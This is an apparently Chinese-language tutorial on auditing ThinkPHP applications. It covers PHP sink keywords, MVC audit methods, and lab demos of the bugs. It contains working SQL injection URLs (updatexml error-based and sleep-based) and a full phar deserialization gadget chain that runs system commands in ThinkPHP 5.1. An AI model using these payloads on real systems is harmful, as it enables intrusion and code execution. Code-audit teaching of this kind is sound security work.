知识点:
1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞
PHP常见漏洞关键字:
bash
SQL注入:
select insert update mysql_query mysqli等
文件上传:
$_FILES,type="file",上传,move_uploaded_file()等
XSS跨站:
print print_r echo sprintf die var_dump var_export等
文件包含:
include include_once require require_once等
代码执行:
eval assert preg_replace call_user_func call_user_func_array等
命令执行:
system exec shell_exec `` passthru pcntl_exec popen proc_open
变量覆盖:
extract() parse_str() importrequestvariables() $$ 等
反序列化:
serialize() unserialize() __construct __destruct等
其他漏洞:
unlink() file_get_contents() show_source() file() fopen()等
通用关键字:
$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等
MVC不局限于语言,其他语言也都有。
MVC流程:
bash
1、Controller截获用户发出的请求;
2、Controller调用Model完成状态的读写操作;
3、Controller把数据传递给View;
4、View渲染最终结果并呈献给用户。
MVC各层职能:
bash
1、控制器Controller层--负责响应用户请求、准备数据,及决定如何展示数据。
2、模块Model层--管理业务逻辑和数据库逻辑。提供连接和操作数据库的抽象层(过滤一般都在这里)
3、视图View层--负责前端模版渲染数据,通过HTML方式呈现给用户(一般都是html静态文件,也有少部分php)
MVC对审计主要影响:
bash
1、文件代码定位问题
2、代码过滤分析问题(Model层会过滤)
3、前端安全发现问题
MVC开发审计入口常见方法:
bash
搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等。
工具法:后续讲到
调试法:动态调试
框架审计总结方向:
1、版本不安全写法怎么检测
bash
-本地复现版本写法对比(不是官方写法就是不安全写法)
-参考官方开发手册写法
2、版本自身的漏洞怎么检测
bash
-平常多关注此类框架漏洞
https://github.com/hughink/Thinkphp-All-vuln
-配合黑盒工具检测找入口
3、版本自身的漏洞怎么利用
bash
根据漏洞提示找满足条件实现调用
满足条件:对应的函数点和可控变量
一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞
搭建环境:
bash
ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql
开发参考:
https://www.kancloud.cn/manual/thinkphp5_1/353946
1、解释TP框架开发的源码审计要点
2、参考开发手册学习文件目录含义
3、参考开发手册学习寻找入口文件
4、参考开发手册学习寻找URL对应文件
5、参考开发手册学习如何开启调试模式
bash
开启调试模式:/config/app.php
'app_debug' => true,
'app_trace' => true,
6、参考开发手册学习官方写法和不安全写法。
数据库查询操作
官方写法 预编译机制
bash
public function login(Request $request)
{
$id=$request->param('id');
$data=Db::table('cw_admin')->where('id',$id)->find();
return $data['user'].'|'.$data['pass'];
}
从代码中看并无任何过滤,但是实际并不存在SQL注入。这就是框架和原生不同的地方。
不安全写法 拼接写法
bash
public function login1(Request $request)
{
$id=$request->param('id');
$data=Db::table('cw_admin')->where("id = $id")->find();
return $data['user'].'|'.$data['pass'];
}
报错注入语句:
bash
/index.php/admin/login/login1/id/1) and updatexml(1,concat(0x7e,user(),0x7e),1)%23
不安全写法 纯原生开发
版本漏洞 反序列化phar
bash
public function file_check(Request $request)
{
$filename=$request->param('f');
file_exists($filename);
}
反序列化:
bash
index.php/index/xiaodi/file_check?f=phar://./1.png
二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入
搭建环境:
bash
Phpstudy_Pro+PHP7.3+Apache+Mysql
1、查看版本-thinkphp/base.php(搜version找)
bash
define('THINK_VERSION', '5.0.24');
2、找不安全写法-搜where找拼接&黑盒工具
bash
文件:application/bbs/controller/User.php
bash
方法:xiaoxidel
参数:ids id
先登录看下路由地址
3、application/bbs/controller/User.php(需要注册个用户才能触发)
bash
index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
问题在where语句是直接拼接SQL-where("id ={$id}")
如改为数组的传参就能修复此处问题-where("id",$id)
黑盒工具-入口不安全写法-SQL注入
bash
文件:application/bbs/controller/User.php
方法:home
参数:ids id
/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)
三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入
搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql
1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)
bash
const THINK_VERSION = '3.2.3';
2、版本漏洞-SQL注入
https://www.freebuf.com/articles/web/345544.html
3、找利用点-搜实现关键字
bash
Application/Admin/Controller/ArticleController.class.php
$data = M('Article')->find(I('id'));
4、Poc构造-利用数据库监控组合注入
bash
/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#
四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化
搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql
1、查看版本-thinkphp/library/think/App.php(搜version找)
bash
const VERSION = '5.1.41 LTS';
2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)
bash
109.php
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("smi1e" => "system");
public function get()
{
$this->data = array("smi1e" => "notepad");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct()
{
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$a = new think\process\pipes\Windows($conver);
$phar = new Phar('x.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
}
?>
3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数
路由逻辑分析
bash
/admin.php/update/rmdirr.html?
dirname=phar://./public/upload/menubg/6543297dcccb9.png
实战当中需要前台注册一个用户上传jpg文件(把phar后缀改为png后缀)